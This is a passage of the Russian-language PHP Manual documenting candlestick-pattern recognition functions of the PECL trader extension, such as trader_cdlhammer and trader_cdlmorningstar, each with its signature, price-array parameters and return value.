Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Три внешних дня вверх и три внешних дня вниз

  • « trader_cdl3linestrike
  • trader_cdl3starsinsouth »
  • PHP Manual
  • Функции Trader
  • Три внешних дня вверх и три внешних дня вниз

trader_cdl3outside

(PECL trader >= 0.2.0)

trader_cdl3outside — Три внешних дня вверх и три внешних дня вниз

Описание

trader_cdl3outside(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Три южных звезды

  • « trader_cdl3outside
  • trader_cdl3whitesoldiers »
  • PHP Manual
  • Функции Trader
  • Три южных звезды

trader_cdl3starsinsouth

(PECL trader >= 0.2.0)

trader_cdl3starsinsouth — Три южных звезды

Описание

trader_cdl3starsinsouth(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Три наступающих белых солдата

  • « trader_cdl3starsinsouth
  • trader_cdlabandonedbaby »
  • PHP Manual
  • Функции Trader
  • Три наступающих белых солдата

trader_cdl3whitesoldiers

(PECL trader >= 0.2.0)

trader_cdl3whitesoldiers — Три наступающих белых солдата

Описание

trader_cdl3whitesoldiers(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Брошенное дитя

  • « trader_cdl3whitesoldiers
  • trader_cdladvanceblock »
  • PHP Manual
  • Функции Trader
  • Брошенное дитя

trader_cdlabandonedbaby

(PECL trader >= 0.2.0)

trader_cdlabandonedbaby — Брошенное дитя

Описание

trader_cdlabandonedbaby(
array $open,
array $high,
array $low,
array $close,
float $penetration = ?
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

penetration

Процент проникновения одной свечи внутри другой свечи.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Отбитое наступление

  • « trader_cdlabandonedbaby
  • trader_cdlbelthold »
  • PHP Manual
  • Функции Trader
  • Отбитое наступление

trader_cdladvanceblock

(PECL trader >= 0.2.0)

trader_cdladvanceblock — Отбитое наступление

Описание

trader_cdladvanceblock(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Захват за пояс

  • « trader_cdladvanceblock
  • trader_cdlbreakaway »
  • PHP Manual
  • Функции Trader
  • Захват за пояс

trader_cdlbelthold

(PECL trader >= 0.2.0)

trader_cdlbelthold — Захват за пояс

Описание

trader_cdlbelthold(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Отрыв

  • « trader_cdlbelthold
  • trader_cdlclosingmarubozu »
  • PHP Manual
  • Функции Trader
  • Отрыв

trader_cdlbreakaway

(PECL trader >= 0.2.0)

trader_cdlbreakaway — Отрыв

Описание

trader_cdlbreakaway(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Закрытие марубозу

  • « trader_cdlbreakaway
  • trader_cdlconcealbabyswall »
  • PHP Manual
  • Функции Trader
  • Закрытие марубозу

trader_cdlclosingmarubozu

(PECL trader >= 0.2.0)

trader_cdlclosingmarubozu — Закрытие марубозу

Описание

trader_cdlclosingmarubozu(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Прячущаяся ласточка

  • « trader_cdlclosingmarubozu
  • trader_cdlcounterattack »
  • PHP Manual
  • Функции Trader
  • Прячущаяся ласточка

trader_cdlconcealbabyswall

(PECL trader >= 0.2.0)

trader_cdlconcealbabyswall — Прячущаяся ласточка

Описание

trader_cdlconcealbabyswall(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Контратака

  • « trader_cdlconcealbabyswall
  • trader_cdldarkcloudcover »
  • PHP Manual
  • Функции Trader
  • Контратака

trader_cdlcounterattack

(PECL trader >= 0.2.0)

trader_cdlcounterattack — Контратака

Описание

trader_cdlcounterattack(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Завеса из тёмных облаков

  • « trader_cdlcounterattack
  • trader_cdldoji »
  • PHP Manual
  • Функции Trader
  • Завеса из тёмных облаков

trader_cdldarkcloudcover

(PECL trader >= 0.2.0)

trader_cdldarkcloudcover — Завеса из тёмных облаков

Описание

trader_cdldarkcloudcover(
array $open,
array $high,
array $low,
array $close,
float $penetration = ?
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

penetration

Процент проникновения одной свечи внутри другой свечи.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Дожи

  • « trader_cdldarkcloudcover
  • trader_cdldojistar »
  • PHP Manual
  • Функции Trader
  • Дожи

trader_cdldoji

(PECL trader >= 0.2.0)

trader_cdldoji — Дожи

Описание

trader_cdldoji(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Дожи-звезда

  • « trader_cdldoji
  • trader_cdldragonflydoji »
  • PHP Manual
  • Функции Trader
  • Дожи-звезда

trader_cdldojistar

(PECL trader >= 0.2.0)

trader_cdldojistar — Дожи-звезда

Описание

trader_cdldojistar(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Стрекоза дожи

  • « trader_cdldojistar
  • trader_cdlengulfing »
  • PHP Manual
  • Функции Trader
  • Стрекоза дожи

trader_cdldragonflydoji

(PECL trader >= 0.2.0)

trader_cdldragonflydoji — Стрекоза дожи

Описание

trader_cdldragonflydoji(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Модель поглощения

  • « trader_cdldragonflydoji
  • trader_cdleveningdojistar »
  • PHP Manual
  • Функции Trader
  • Модель поглощения

trader_cdlengulfing

(PECL trader >= 0.2.0)

trader_cdlengulfing — Модель поглощения

Описание

trader_cdlengulfing(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Вечерняя дожи-звезда

  • « trader_cdlengulfing
  • trader_cdleveningstar »
  • PHP Manual
  • Функции Trader
  • Вечерняя дожи-звезда

trader_cdleveningdojistar

(PECL trader >= 0.2.0)

trader_cdleveningdojistar — Вечерняя дожи-звезда

Описание

trader_cdleveningdojistar(
array $open,
array $high,
array $low,
array $close,
float $penetration = ?
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

penetration

Процент проникновения одной свечи внутри другой свечи.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Вечерняя звезда

  • « trader_cdleveningdojistar
  • trader_cdlgapsidesidewhite »
  • PHP Manual
  • Функции Trader
  • Вечерняя звезда

trader_cdleveningstar

(PECL trader >= 0.2.0)

trader_cdleveningstar — Вечерняя звезда

Описание

trader_cdleveningstar(
array $open,
array $high,
array $low,
array $close,
float $penetration = ?
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

penetration

Процент проникновения одной свечи внутри другой свечи.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Свечная модель "Смежные белые свечи"

  • « trader_cdleveningstar
  • trader_cdlgravestonedoji »
  • PHP Manual
  • Функции Trader
  • Свечная модель "Смежные белые свечи"

trader_cdlgapsidesidewhite

(PECL trader >= 0.2.0)

trader_cdlgapsidesidewhite — Свечная модель "Смежные белые свечи"

Описание

trader_cdlgapsidesidewhite(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Дожи-надгробие

  • « trader_cdlgapsidesidewhite
  • trader_cdlhammer »
  • PHP Manual
  • Функции Trader
  • Дожи-надгробие

trader_cdlgravestonedoji

(PECL trader >= 0.2.0)

trader_cdlgravestonedoji — Дожи-надгробие

Описание

trader_cdlgravestonedoji(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Молот

  • « trader_cdlgravestonedoji
  • trader_cdlhangingman »
  • PHP Manual
  • Функции Trader
  • Молот

trader_cdlhammer

(PECL trader >= 0.2.0)

trader_cdlhammer — Молот

Описание

trader_cdlhammer(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Висельник

  • « trader_cdlhammer
  • trader_cdlharami »
  • PHP Manual
  • Функции Trader
  • Висельник

trader_cdlhangingman

(PECL trader >= 0.2.0)

trader_cdlhangingman — Висельник

Описание

trader_cdlhangingman(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Паттерн Харами

  • « trader_cdlhangingman
  • trader_cdlharamicross »
  • PHP Manual
  • Функции Trader
  • Паттерн Харами

trader_cdlharami

(PECL trader >= 0.2.0)

trader_cdlharami — Паттерн Харами

Описание

trader_cdlharami(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Паттерн "Крест Харами"

  • « trader_cdlharami
  • trader_cdlhighwave »
  • PHP Manual
  • Функции Trader
  • Паттерн "Крест Харами"

trader_cdlharamicross

(PECL trader >= 0.2.0)

trader_cdlharamicross — Паттерн "Крест Харами"

Описание

trader_cdlharamicross(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Свечная модель "Высокая волна"

  • « trader_cdlharamicross
  • trader_cdlhikkake »
  • PHP Manual
  • Функции Trader
  • Свечная модель "Высокая волна"

trader_cdlhighwave

(PECL trader >= 0.2.0)

trader_cdlhighwave — Свечная модель "Высокая волна"

Описание

trader_cdlhighwave(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Свечная модель "Крюк"

  • « trader_cdlhighwave
  • trader_cdlhikkakemod »
  • PHP Manual
  • Функции Trader
  • Свечная модель "Крюк"

trader_cdlhikkake

(PECL trader >= 0.2.0)

trader_cdlhikkake — Свечная модель "Крюк"

Описание

trader_cdlhikkake(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Модифицированная свечная модель "Крюк"

  • « trader_cdlhikkake
  • trader_cdlhomingpigeon »
  • PHP Manual
  • Функции Trader
  • Модифицированная свечная модель "Крюк"

trader_cdlhikkakemod

(PECL trader >= 0.2.0)

trader_cdlhikkakemod — Модифицированная свечная модель "Крюк"

Описание

trader_cdlhikkakemod(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Свечная модель "Почтовый голубь"

  • « trader_cdlhikkakemod
  • trader_cdlidentical3crows »
  • PHP Manual
  • Функции Trader
  • Свечная модель "Почтовый голубь"

trader_cdlhomingpigeon

(PECL trader >= 0.2.0)

trader_cdlhomingpigeon — Свечная модель "Почтовый голубь"

Описание

trader_cdlhomingpigeon(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Свечная модель "Три одинаковые вороны"

  • « trader_cdlhomingpigeon
  • trader_cdlinneck »
  • PHP Manual
  • Функции Trader
  • Свечная модель "Три одинаковые вороны"

trader_cdlidentical3crows

(PECL trader >= 0.2.0)

trader_cdlidentical3crows — Свечная модель "Три одинаковые вороны"

Описание

trader_cdlidentical3crows(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Свечная модель "На линии шеи"

  • « trader_cdlidentical3crows
  • trader_cdlinvertedhammer »
  • PHP Manual
  • Функции Trader
  • Свечная модель "На линии шеи"

trader_cdlinneck

(PECL trader >= 0.2.0)

trader_cdlinneck — Свечная модель "На линии шеи"

Описание

trader_cdlinneck(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Свечная модель "Перевёрнутый молоток"

  • « trader_cdlinneck
  • trader_cdlkicking »
  • PHP Manual
  • Функции Trader
  • Свечная модель "Перевёрнутый молоток"

trader_cdlinvertedhammer

(PECL trader >= 0.2.0)

trader_cdlinvertedhammer — Свечная модель "Перевёрнутый молоток"

Описание

trader_cdlinvertedhammer(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Свечная модель "Высокий прыжок"

  • « trader_cdlinvertedhammer
  • trader_cdlkickingbylength »
  • PHP Manual
  • Функции Trader
  • Свечная модель "Высокий прыжок"

trader_cdlkicking

(PECL trader >= 0.2.0)

trader_cdlkicking — Свечная модель "Высокий прыжок"

Описание

trader_cdlkicking(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Высокий прыжок - бык/медведь определяется по длинному марубозу

  • « trader_cdlkicking
  • trader_cdlladderbottom »
  • PHP Manual
  • Функции Trader
  • Высокий прыжок - бык/медведь определяется по длинному марубозу

trader_cdlkickingbylength

(PECL trader >= 0.2.0)

trader_cdlkickingbylength — Высокий прыжок - бык/медведь определяется по длинному марубозу

Описание

trader_cdlkickingbylength(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Свечная модель "Ступенчатое дно"

  • « trader_cdlkickingbylength
  • trader_cdllongleggeddoji »
  • PHP Manual
  • Функции Trader
  • Свечная модель "Ступенчатое дно"

trader_cdlladderbottom

(PECL trader >= 0.2.0)

trader_cdlladderbottom — Свечная модель "Ступенчатое дно"

Описание

trader_cdlladderbottom(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Свечная модель "Длинноногие доджи"

  • « trader_cdlladderbottom
  • trader_cdllongline »
  • PHP Manual
  • Функции Trader
  • Свечная модель "Длинноногие доджи"

trader_cdllongleggeddoji

(PECL trader >= 0.2.0)

trader_cdllongleggeddoji — Свечная модель "Длинноногие доджи"

Описание

trader_cdllongleggeddoji(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Свечная модель "Длинная свеча"

  • « trader_cdllongleggeddoji
  • trader_cdlmarubozu »
  • PHP Manual
  • Функции Trader
  • Свечная модель "Длинная свеча"

trader_cdllongline

(PECL trader >= 0.2.0)

trader_cdllongline — Свечная модель "Длинная свеча"

Описание

trader_cdllongline(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Марубозу

  • « trader_cdllongline
  • trader_cdlmatchinglow »
  • PHP Manual
  • Функции Trader
  • Марубозу

trader_cdlmarubozu

(PECL trader >= 0.2.0)

trader_cdlmarubozu — Марубозу

Описание

trader_cdlmarubozu(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Свечная модель "Совпадение по нижнему уровню"

  • « trader_cdlmarubozu
  • trader_cdlmathold »
  • PHP Manual
  • Функции Trader
  • Свечная модель "Совпадение по нижнему уровню"

trader_cdlmatchinglow

(PECL trader >= 0.2.0)

trader_cdlmatchinglow — Свечная модель "Совпадение по нижнему уровню"

Описание

trader_cdlmatchinglow(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Фигура Подстилка

  • « trader_cdlmatchinglow
  • trader_cdlmorningdojistar »
  • PHP Manual
  • Функции Trader
  • Фигура Подстилка

trader_cdlmathold

(PECL trader >= 0.2.0)

trader_cdlmathold — Фигура Подстилка

Описание

trader_cdlmathold(
array $open,
array $high,
array $low,
array $close,
float $penetration = ?
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

penetration

Процент проникновения одной свечи внутри другой свечи.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Утренняя звезда дожи

  • « trader_cdlmathold
  • trader_cdlmorningstar »
  • PHP Manual
  • Функции Trader
  • Утренняя звезда дожи

trader_cdlmorningdojistar

(PECL trader >= 0.2.0)

trader_cdlmorningdojistar — Утренняя звезда дожи

Описание

trader_cdlmorningdojistar(
array $open,
array $high,
array $low,
array $close,
float $penetration = ?
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

penetration

Процент проникновения одной свечи внутри другой свечи.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Утренняя звезда

  • « trader_cdlmorningdojistar
  • trader_cdlonneck »
  • PHP Manual
  • Функции Trader
  • Утренняя звезда

trader_cdlmorningstar

(PECL trader >= 0.2.0)

trader_cdlmorningstar — Утренняя звезда

Описание

trader_cdlmorningstar(
array $open,
array $high,
array $low,
array $close,
float $penetration = ?
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

penetration

Процент проникновения одной свечи внутри другой свечи.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Паттерн "У линии шеи"

  • « trader_cdlmorningstar
  • trader_cdlpiercing »
  • PHP Manual
  • Функции Trader
  • Паттерн "У линии шеи"

trader_cdlonneck

(PECL trader >= 0.2.0)

trader_cdlonneck — Паттерн "У линии шеи"

Описание

trader_cdlonneck(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Паттерн "Просвет в облаках"

  • « trader_cdlonneck
  • trader_cdlrickshawman »
  • PHP Manual
  • Функции Trader
  • Паттерн "Просвет в облаках"

trader_cdlpiercing

(PECL trader >= 0.2.0)

trader_cdlpiercing — Паттерн "Просвет в облаках"

Описание

trader_cdlpiercing(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Длинноногий дожи

  • « trader_cdlpiercing
  • trader_cdlrisefall3methods »
  • PHP Manual
  • Функции Trader
  • Длинноногий дожи

trader_cdlrickshawman

(PECL trader >= 0.2.0)

trader_cdlrickshawman — Длинноногий дожи

Описание

trader_cdlrickshawman(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Бычья/медвежья модель "Три метода"

  • « trader_cdlrickshawman
  • trader_cdlseparatinglines »
  • PHP Manual
  • Функции Trader
  • Бычья/медвежья модель "Три метода"

trader_cdlrisefall3methods

(PECL trader >= 0.2.0)

trader_cdlrisefall3methods — Бычья/медвежья модель "Три метода"

Описание

trader_cdlrisefall3methods(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Разделение

  • « trader_cdlrisefall3methods
  • trader_cdlshootingstar »
  • PHP Manual
  • Функции Trader
  • Разделение

trader_cdlseparatinglines

(PECL trader >= 0.2.0)

trader_cdlseparatinglines — Разделение

Описание

trader_cdlseparatinglines(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Падающая звезда

  • « trader_cdlseparatinglines
  • trader_cdlshortline »
  • PHP Manual
  • Функции Trader
  • Падающая звезда

trader_cdlshootingstar

(PECL trader >= 0.2.0)

trader_cdlshootingstar — Падающая звезда

Описание

trader_cdlshootingstar(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Свечная модель "Свеча короткой линии"

  • « trader_cdlshootingstar
  • trader_cdlspinningtop »
  • PHP Manual
  • Функции Trader
  • Свечная модель "Свеча короткой линии"

trader_cdlshortline

(PECL trader >= 0.2.0)

trader_cdlshortline — Свечная модель "Свеча короткой линии"

Описание

trader_cdlshortline(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Волчок

  • « trader_cdlshortline
  • trader_cdlstalledpattern »
  • PHP Manual
  • Функции Trader
  • Волчок

trader_cdlspinningtop

(PECL trader >= 0.2.0)

trader_cdlspinningtop — Волчок

Описание

